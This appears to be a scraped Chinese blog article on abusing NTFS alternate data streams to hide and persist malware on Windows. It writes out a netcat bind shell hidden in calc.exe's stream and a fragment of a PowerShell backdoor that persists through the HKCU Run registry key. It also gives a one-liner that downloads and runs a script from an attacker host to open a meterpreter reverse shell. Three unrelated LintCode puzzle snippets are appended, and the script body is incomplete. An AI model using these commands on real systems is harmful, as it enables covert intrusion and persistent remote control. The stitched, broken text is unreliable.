ntfs交換資料流(alternate data streams,簡稱ads)是ntfs磁碟格式的乙個特性,在ntfs檔案系統下,每個檔案都可以存在多個資料流,就是說除了主檔案流之外還可以有許多非主檔案流寄宿在主檔案流中。它使用資源派生來維持與檔案相關的資訊,雖然我們無法看到資料流檔案,但是它卻是真實存在於我們的系統中的。
如果你看完之後還是一頭霧水的話,就接著往下看吧。
在windows vista以前的作業系統,ntfs資料流(後文都簡稱ads)一直是惡意軟體作者熱衷於隱藏自己惡意軟體的地方。
你可以這樣做來隱藏你的惡意軟體:
c:\>type c:\nc.exe > c:\windows\system32\calc.exe:svchost.exe
c:\>start /b c:\windows\system32\calc.exe:svchost.exe -d -l -p 2222 -e cmd.exe
上面的第一條命令會把nc.exe隱藏到calc.exe的ads中,名稱為svchost.exe。第二條命令會從calc.exe的ads中執行nc.exe。
微軟發現了這一問題,所以在windows xp之後的作業系統他取消了可以從ads中執行任何程式的功能。如果你想執行藏在ads中的程式,,你需要使用mklink命令來建立乙個鏈結。但是這必須要管理員許可權才能完成。
幸運的是,我發現了一種向ads中注入**並且可以以普通使用者許可權執行的方法。我把它寫成了powershell指令碼:
function invoke-adsbackdoor
$createwrapperads =
invoke-command -scriptblock $createpayloadads
invoke-command -scriptblock $createwrapperads
#persist in registry
new-itemproperty -path "hkcu:\software\microsoft\windows\currentversion\run" -name update -propertytype string -value "wscript.exe $env:userprofile\appdata:$vbsfile" -force
write-host "process complete. persistent key is located at hkcu:\software\microsoft\windows\currentversion\run\update"
}這個指令碼具備滲透測試者都很喜歡的兩個特點:
以普通使用者就可以執行
極具隱蔽性
當你控制了一台機器,你可以在上面執行該指令碼,這個指令碼有兩個引數-url和 –arguments,
-url是你的payload,-arguments是你的payload所需要的引數。
比如-arguments 「badfunction -lhost 192.168.1.11 -lport 3333 -payload weeeeee」
例子:建立乙個隱藏後門
powershell.exe -execbypass -c 「iex (new-object net.webclient).downloadstring(『http://192.168.1.138/invoke-adsbackdoor.ps1』); invoke-adsbackdoor -url http://192.168.1.138/invoke-shellcode.ps1 -arguments 『invoke-shellcode -lhost 192.168.1.138 -lport 666 -payload windows/meterpreter/reverse_https-force』」當你執行了這個指令碼之後,他會做下面幾件事情:
編碼你的powershell命令並且執行payload。
在appdata目錄下建立乙個ads,並且把powershell payload注入其中。
建立乙個vbs指令碼,他會解析和執行包含payload的ads內容。
在appdata目錄下建立另外乙個ads並把vbs指令碼注入進去。
在登錄檔hkcu:\software\microsoft\windows\currentversion\run中建立乙個鍵值為update的鍵。
執行指令碼之後,我們用dir看一下:
看不到appdata目錄,因為目錄是隱藏的。
用dir /a看下,可以看到appdata目錄了,但是沒有任何異樣。
為了看到存在的ads,我們可以使用dir /a /r。
可以看到在appdata目錄下有兩個ads,乙個叫做4jrjuqekkpg.vbs,乙個叫做jkwsp3nf0ao.txt。當然這些名字是隨機的。
當受害者開機後,登錄檔的鍵值會呼叫wscript.exe來執行隱藏在ads中的vbs指令碼。執行過後,vbs指令碼會解析並執行另外乙個隱藏在appdata目錄下的payload。然後乙個猥瑣的shell就出現在我們的msf中了!
資料流中第乙個唯一的數字
給乙個連續的資料流,寫乙個函式返回終止數字到達時的第乙個唯一數字 包括終止數字 如果在終止數字前無唯一數字或者找不到這個終止數字,返回 1.您在真實的面試中是否遇到過這個題?yes 樣例給乙個資料流 1,2,2,1,3,4,4,5,6 以及乙個數字5,返回3 給乙個資料流 1,2,2,1,3,4,4...
資料流中第乙個唯一的數字 LintCode
給乙個連續的資料流,寫乙個函式返回終止數字到達時的第乙個唯一數字 包括終止數字 如果在終止數字前無唯一數字或者找不到這個終止數字,返回 1.樣例 給乙個資料流 1,2,2,1,3,4,4,5,6 以及乙個數字 5,返回 3 給乙個資料流 1,2,2,1,3,4,4,5,6 以及乙個數字 7,返回 1...
資料流中第乙個獨特的數 II
我們需要實現乙個叫datastream的資料結構。並且這裡有兩個方法需要實現 void add number 加乙個新的數 int firstunique 返回第乙個獨特的數 例1 輸入 add 1 add 2 firstunique add 1 firstunique 輸出 1,2 例2 輸入 a...